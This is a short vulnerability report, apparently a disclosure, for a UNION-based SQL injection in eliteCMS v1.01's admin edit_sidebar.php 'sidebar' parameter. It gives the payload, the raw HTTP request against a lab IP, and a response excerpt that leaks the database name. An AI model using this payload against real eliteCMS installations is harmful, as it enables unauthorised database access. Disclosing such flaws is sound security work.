

main

...

bug\_report / elitecms-1.01 / SQLi-4.md



debug601 Create SQLi-4.md

History

1 contributor

26 lines (19 sloc) | 1.04 KB

...

# Elitecms v1.01 by elitecms has SQL injection

vendors: <https://elitecms.net/download.php>

Vulnerability File: /admin/edit\_sidebar.php

Vulnerability location: ip/eliteCMS1.01/admin/edit\_sidebar.php?page=2&sidebar=, sidebar

dbname: elitecms101

[+] Payload: /eliteCMS1.01/admin/edit\_sidebar.php?

page=2&sidebar=-3%20union%20select%201,2,database(),4,5--+ // Leak place --->  
sidebar

```
GET /eliteCMS1.01/admin/edit_sidebar.php?page=2&sidebar=-3%20union%20select%201,2,da
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
GET
/eliteCMS1.01/admin/edit_sidebar.php?page=2&sidebar=-3%2
0union%20select%201,2,database(),4,5--+ HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
<select name="page_id" class="select1">
<option value="2">what is eliteCMS </option>
</select>
</td>
</tr>
<td valign="bottom" class="padd">Post Position :</td>
<td valign="bottom" class="padd">

<input type="text" name="position" id="position" class="inputSmall1" value="elitecms101"/>
</td>
</tr>
<tr bgcolor="#EEF7FD">
<td class="padd">Sidebar Content Title :</td>
<td class="padd">
<input name="title" type="text" class="input" id="title" value="4" />
</td>
</tr>
<tr>
<td class="padd">Sidebar Content :</td>
<td class="padd">
<script language="JavaScript1.2" type="text/javascript">
```

INT SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL http://192.168.1.108/eliteCMS1.01/admin/edit\_sidebar.php?page=2&sidebar=-3 union select 1,2,database(),4,5--+

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64   ☒ Replace

ADMIN HOME MANAGE PAGES MANAGE POSTS MANAGE SIDEBAR MANAGE UPLOADS MANAGE USERS MANAGE SETTINGS LOGOUT

### Edit Sidebar

Posts under this sidebar.

Post Position : 1

[An unordered list](#)

Parent Page : What is eliteCMS

Post Position : elitecms101

Sidebar Content Title : 4